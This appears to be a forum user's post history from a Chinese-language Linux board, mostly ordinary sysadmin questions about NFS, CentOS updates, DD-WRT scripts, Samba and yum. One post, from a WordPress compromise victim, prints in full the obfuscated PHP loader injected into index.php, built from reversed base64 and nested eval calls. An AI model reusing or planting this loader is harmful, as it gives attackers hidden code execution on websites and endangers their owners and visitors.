顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


主題 - WilliamTai

頁: [1]
1
目前環境user都要透過LDAP的方式認證,user home dir.放在NFS Server上,有工具必須要使用tcsh才能執行。
目前想到是將系統預設Shell改成tcsh,第一次登入時就會帶入相關檔案。
請問如何將系統預設的Shell改為tcsh?有研究了一下/etc/profile但仍不太懂。

2
目前遇到一個很詭異的情況,使用者家目錄下「部分」資料消失。

機房環境是工作站A(CentOS 5.8)和工作站B(CentOS 5.8)及NAS(RS-812)一台,工作站兩台完全獨立,NAS用開NFS給工作站存取。
建立帳號時,在工作站A和工作站B同時建立一個帳號aaa,兩個uid完全相同,家目錄都指向NFS上的目錄。
這樣可以達成工作站A和B不論從哪一邊登入都可以看到相同的家目錄,且uid相同所以不會有權限問題。
用這個方法做了4個user,簡稱aaa,bbb,ccc,ddd,用了半年多沒出事。

目前遇到的情況是使用者家目錄下所有非系統預設(建立帳號時會同時建立的檔案,如Desktop目錄)的檔案及目錄完全消失。

消失前root有進其中一台工作站對aaa帳號刪除,然後重建一次帳號,有把aaa的家目錄備份和重新指向NFS上的家目錄。
但稍後其他使用者就發現他們家目錄下所有檔案都消失了,只剩下帳號剛建立時系統會同時建立的檔案。詭異的是其中一個使用者ccc的帳號下還留有一個空的資料夾,下面有兩層資料夾也是空的,那些資料夾原本存有他自己的上傳的檔案。

查message log和secure log看不出有被異常登入,登入時間和使用者回報的都正常,但想破頭還是想不到原因。


3
系統安全討論版 / 網站被植入代碼
« 於: 2012-01-17 16:25 »
WordPress被攻擊,index.php被植入代碼。對方似乎是走php的漏洞來寫入,我做過一次還原再改FTP密碼,更改所有網站的使用者的密碼和更新所有網站的plugin,才一個小時馬上又被植入。

我看不懂這些代碼是做什麼的。

代碼: [選擇]
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir "";$eva1tYldakBoVS1r $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr $eva1tYlbakBcVSir;$eva1tYldakBcVSir "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r "\x65\143\x72\160";$eva1tYldakBcVSir "";$eva1tYldakBoVS1r $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr $eva1tYlbakBcVSir;} ?>

4
Linux 討論版 / CentOS 6.0更新出問題
« 於: 2011-12-20 03:25 »
用yum install -y 將 CentOS 6.0升級6.1,重開機的時候Kernel出了狀況。畫面顯示:
Kernel panic - not syncing: VFS: Unable to mount root fs on unknow-block(0,0)

同時更新的兩台Server都掛了,請問該如何排除狀況?

5
Linux 討論版 / 硬碟外接盒一直被喚醒
« 於: 2011-11-25 21:38 »
我有一個RAID外接盒掛載在CentOS 5.7上。RAID外接盒有省電模式,一旦隔一段時間沒有運作就會關閉電源省電。
從上週開始,外接盒一旦進入省電模式,沒隔幾秒立刻被喚醒,等到下一次進入省電模式又被喚醒,就這樣反覆了一個星期。
已經關閉SAMBA和VSFTP,將硬碟unmount,甚至同一個區網內能存取那台CentOS5.7的其他機器都關閉電源了,但是外接盒依然一直被喚醒。
將主機電源關閉,讓外接盒獨立運作就正常,進入省電模式後不再自己喚醒,所以外接盒本身應該是沒問題,有問題的是CentOS5.7。
從/var/log/message沒有mount或是存取外接盒的相關記錄,在/var/log/dmesg中只有建議讓外接盒的硬碟跑e2fsck確認硬碟狀況,但是跑完了問題還是沒解決。

從外接盒的燈號看來應該是沒有讀寫硬碟,只有純粹喚醒而已。

先前都還正常,從上週開始才發生問題。目前已經沒有頭緒了,請問還有哪些原因會一直喚醒硬碟?

6
Linux 討論版 / script合併問題
« 於: 2011-04-15 13:48 »
最近在玩DD-WRT碰到一些script想請教。
手邊有兩段script code,分別是random MAC Address和always connect。

代碼: [選擇]
#!/bin/ash
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
echo "00:${MAC}"
ifconfig eth1 hw ether 00:${MAC}
nvram set def_hwaddr="00:${MAC}"
nvram set wan_hwaddr="00:${MAC}"
stopservice wan
startservice wan

代碼: [選擇]
#!/bin/sh
INTERVAL=10
PACKETS=1
UDHCPC="udhcpc -i vlan1 -p /var/run/udhcpc.pid -s /tmp/udhcpc"
IFACE=vlan1


ME=`basename $0`
RUNNING=`ps | awk '/'"$ME"'/ {++x}; END {print x+0}'`
if [ "$RUNNING" -gt 3 ]; then
   echo "Another instance of \"$ME\" is running"
   exit 1
fi

while sleep $INTERVAL
do
   TARGET=`ip route | awk '/default via/ {print $3}'`
   RET=`ping -c $PACKETS $TARGET 2> /dev/null | awk '/packets received/ {print $4}'`

   if [ "$RET" -ne "$PACKETS" ]; then
      echo "Ping failed, releasing IP address on $IFACE"
#send a RELEASE signal
      kill -USR2 `cat /var/run/udhcpc.pid` 2> /dev/null
#ensure udhcpc is not running
      killall udhcpc 2> /dev/null
      echo "Renewing IP address: $IFACE"
      $UDHCPC
      echo "Waiting 10 s..."
      sleep 10
   else
      echo "Network is up via $TARGET"
   fi
done

想把兩段code合併修改成以下功能:
ping 8.8.8.8(Google DNS)當判斷,當斷線時先跑random MAC Address再自動重新抓DHCP。

試著先將random MAC Address code合併進去不過沒有執行,推測應該是第一行宣告的問題,一個是ash另一個是sh。若想將兩段code合併,第一行的部份該怎麼改?

另外TARGET變數的部分也不太會改,先前試過將ip route替代成8.8.8.8沒有作用。

對script不熟,請教各位先進。

7
Linux 討論版 / VM安裝Ubuntu做NAT問題
« 於: 2011-04-06 10:30 »
目前用VMware Player建立一個安裝Ubuntu 10.10的虛擬機器,Host os是XP,配有兩張實體網路卡。

VM的兩張虛擬網路卡設定為bridge,Virtual Network Editor設定vnet0和vnet2分別對應到實體網路卡A和B。
其中A(eth0)是對外,B(eth1)是對內,對外的資料是收DHCP配發的。確定對外都正常,但是對內ping不到內網其他電腦。

我將eth1設為192.168.3.1/24,gateway 0.0.0.0(Ubuntu的UI不輸入數值就不能apply),連接到switch hub,另一台機器安裝cent os當作內網的主機,IP設192.168.3.100,插到同一台switch hub。
ping 192.168.3.100會發生Destination Host Unreachable,而內網主機ping 192.168.3.1也是一樣。

從host os將B網路卡設定為192.168.3.5,不設gateway和DNS,從host os ping 192.168.3.100成功,反過來也可以。

奇怪的是,我將vnet和vnet2對應的實體網卡互換做測試,vnet0=B,vnet2=A,然後讓Ubuntu restart,將網路設定都改為DHCP,這樣就沒辦法連線了。嘗試過將default route改為eth1仍然無法連線。

現在不清楚為什麼封包沒辦法送到對應vnet2的那個位置上,請各位先進指教。

8
Linux 討論版 / rpm裝了卻查不到
« 於: 2008-11-22 22:42 »
稍早在FC8上移除了aMule 2.2.1,使用 rpm -q amule 可以查到rpm package相關訊息,
用-e的參數可以順利移除,安裝2.2.2的package。

但是安裝2.2.2之後,用-q的參數顯示amule沒有安裝,
請問未來我要怎麼移除這個rpm package?

9
Linux 討論版 / amule造成系統崩潰
« 於: 2008-11-14 10:58 »
前幾個月架了一台動物機,用FC 8跑aMule for Linux,
之前就有發現系統跑了一段時間後,VNC遠端連不上,
到Local接上鍵盤滑鼠螢幕也沒反應,用ping也沒有回應,
應該是整個系統卡死或是崩潰。

最近抓到原因是在aMule身上,當aMule執行大量下載,
一段時間後會發生前述的系統崩潰的狀況。

aMule設定單一檔案最大連線300,總連線最大500,
硬體使用MSI CX700D,網卡是螃蟹卡。

10
Linux 討論版 / yum無法更新
« 於: 2008-08-17 22:09 »
星期六下午以後就沒辦法連上Fedora Core 8預設的yum update server了:
代碼: [選擇]
Error: Cannot retrieve repository metadata (repomd.xml) for repository: fedora. Please verify its path and try again
Could not retrieve mirrorlist http://mirrors.fedoraproject.org/mirrorlist?repo=fedora-8&arch=i386 error was
[Errno 14] HTTP Error 503: Service Temporarily Unavailable

參考這篇更換yum mirrors
http://linux.chinaunix.net/techdoc/system/2008/02/06/978124.shtml
問題變成:
代碼: [選擇]
Error: Cannot retrieve repository metadata (repomd.xml) for repository: fedora. Please verify its path and try again
removing mirrorlist with no valid mirrors: //var/cache/yum/fedora/mirrorlist.txt

請問要如何解決?

11
Linux 討論版 / 抓不到硬碟
« 於: 2008-08-14 06:00 »
我有兩顆2.5吋的WD 80G SATA硬碟插在同一塊板子上,
在BIOS內分別佔用Master和Slave的位置,都抓得到,
但是在Fedora Core 8裡面用df指令卻看不到硬碟。

請問要如何處理?

12
手上有一片MSI的MINI ITX板子,2 LAN PORT ONBOARD,eth0是LAN是接浮動IP,eth1是接固定IP。
目前讓這片板子跑P2P軟體,程式用aMule,Firewall有設定過P2P的PORT只有eth0開放,
eth1是封鎖的,eth1那邊的Router也是封鎖P2P的PORT,
但程式還是會自己去走eth1。請問要如何aMule只使用eth0裝置而不去碰eth1?


13
Linux 討論版 / RHIDE和KDevelop哪個好用?
« 於: 2008-07-28 20:18 »
小弟想在Fedora 8上學習C,想從RHIDE和KDevelop中選擇一個IDE來用,
想麻煩各位先進推薦一套,再請教安裝方式,
小弟目前安裝RHIDE和KDevelop都不成功... :o

14
Linux 討論版 / Ndiswrapper安裝問題
« 於: 2008-07-10 01:57 »
代碼: [選擇]
/root/ndiswrapper$ make install
make -C driver install
Makefile:23: *** Kernel tree not found - please set KBUILD to configured kernel.  Stop.
make: *** [install] Error 2
make[1]: Entering directory `/root/ndiswrapper/driver'
make[1]: Leaving directory `/root/ndiswrapper/driver'

OS:Fedora Core 5
代碼: [選擇]
Makefile:23: *** Kernel tree not found - please set KBUILD to configured kernel.  Stop.請問這一段是什麼意思?

15
Linux 討論版 / FC8對USB有線網卡支援程度?
« 於: 2008-07-07 20:42 »
http://buy.yahoo.com.tw/gdsale/gdstore.asp?gdid=138589
有人玩過這款"有線"的USB網卡嗎?
請問Fedora Core 8的支援程度如何?

麻煩了 :)

16
Computer 討論版 / Linux要用的RAID外接盒
« 於: 2008-07-07 17:56 »
小弟最近有需要在伺服器另外加掛一組RAID陣列盒,
只需RAID 1,作業系統是Fedora Core 8,
目前有看上Thecus N2050BD,還有其他推薦款嗎? ???

17
電腦硬體裝修乙級第二站考題中,關於建立使用者的部份,有一題敘述是:

引用
(A)建立三個使用者,master、user1、user2帳號。
(B)使用者master權限為系統最高管理者,在微軟Windows作業系統比照Administrator,
在LINUX系列作業系統比照root,使用者user1、user2權限為一般使用者。

其中"在LINUX系列作業系統比照root"這句一直沒辦法理解,
一般在LINUX下都是盡量避免使用root直接操作,
但現在要求建立一個與root帳號有相同權限的使用者,該怎麼處理?

小弟星期三(2/20號)就要考了,有點急迫。 :)

18
Linux 討論版 / SAMBA拒絕存取
« 於: 2007-11-15 11:36 »
打擾了,請教SAMBA的問題。

SAMBA設定安全等級為Share,從網路上芳鄰可看見主機分享內容。

設定public資料夾,安全等級share。從Windows的網路芳鄰上可以看見public資料夾,可以複製到Windows硬碟中,也可刪除public內的檔案,但無法寫入任何資料。

unpublic資料夾安全等級設User。從網路上的芳鄰無法開啟,沒有問Account和Password就拒絕存取。

兩個資料夾在Linux上權限設777。

smb.conf

代碼: [選擇]

# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options (perhaps too
# many!) most of which are not shown in this example
#
# For a step to step guide on installing, configuring and using samba,
# read the Samba-HOWTO-Collection. This may be obtained from:
#  http://www.samba.org/samba/docs/Samba-HOWTO-Collection.pdf
#
# Many working examples of smb.conf files can be found in the
# Samba-Guide which is generated daily and can be downloaded from:
#  http://www.samba.org/samba/docs/Samba-Guide.pdf
#
# Any line which starts with a ; (semi-colon) or a # (hash)
# is a comment and is ignored. In this example we will use a #
# for commentry and a ; for parts of the config file that you
# may wish to enable
#
# NOTE: Whenever you modify this file you should run the command "testparm"
# to check that you have not made any basic syntactic errors.
#
#======================= Global Settings =====================================
[global]
log file = /var/log/samba/%m.log
dns proxy = no
load printers = yes
cups options = raw
writeable = yes
workgroup = MYGROUP
os level = 20
encrypt passwords = yes
security = share
public = yes
max log size = 50

# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH

# server string is the equivalent of the NT Description field

# Security mode. Defines in which mode Samba will operate. Possible
# values are share, user, server, domain and ads. Most people will want
# user level security. See the Samba-HOWTO-Collection for details.

# This option is important for security. It allows you to restrict
# connections to machines which are on your local network. The
# following example restricts access to two C class networks and
# the "loopback" interface. For more examples of the syntax see
# the smb.conf man page
;   hosts allow = 192.168.1. 192.168.2. 127.

# If you want to automatically load your printer list rather
# than setting them up individually then you'll need this

# you may wish to override the location of the printcap file
;   printcap name = /etc/printcap

# on SystemV system setting printcap name to lpstat should allow
# you to automatically obtain a printer list from the SystemV spool
# system
;   printcap name = lpstat

# It should not be necessary to specify the print system type unless
# it is non-standard. Currently supported print systems include:
# bsd, cups, sysv, plp, lprng, aix, hpux, qnx
;   printing = cups

# This option tells cups that the data has already been rasterized

# Uncomment this if you want a guest account, you must add this to /etc/passwd
# otherwise the user "nobody" is used
;  guest account = pcguest

# this tells Samba to use a separate log file for each machine
# that connects

# Put a capping on the size of the log files (in Kb).

# Use password server option only with security = server
# The argument list may include:
#   password server = My_PDC_Name [My_BDC_Name] [My_Next_BDC_Name]
# or to auto-locate the domain controller/s
#   password server = *
;   password server = <NT-Server-Name>

# Use the realm option only with security = ads
# Specifies the Active Directory realm the host is part of
;   realm = MY_REALM

# Backend to store user information in. New installations should
# use either tdbsam or ldapsam. smbpasswd is available for backwards
# compatibility. tdbsam requires no further configuration.
;   passdb backend = tdbsam

# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting.
# Note: Consider carefully the location in the configuration file of
#       this line.  The included file is read at that point.
;   include = /usr/local/samba/lib/smb.conf.%m

# Configure Samba to use multiple interfaces
# If you have multiple network interfaces then you must list them
# here. See the man page for details.
;   interfaces = 192.168.12.2/24 192.168.13.2/24

# Browser Control Options:
# set local master to no if you don't want Samba to become a master
# browser on your network. Otherwise the normal election rules apply
;   local master = no

# OS Level determines the precedence of this server in master browser
# elections. The default value should be reasonable
;   os level = 33

# Domain Master specifies Samba to be the Domain Master Browser. This
# allows Samba to collate browse lists between subnets. Don't use this
# if you already have a Windows NT domain controller doing this job
;   domain master = yes

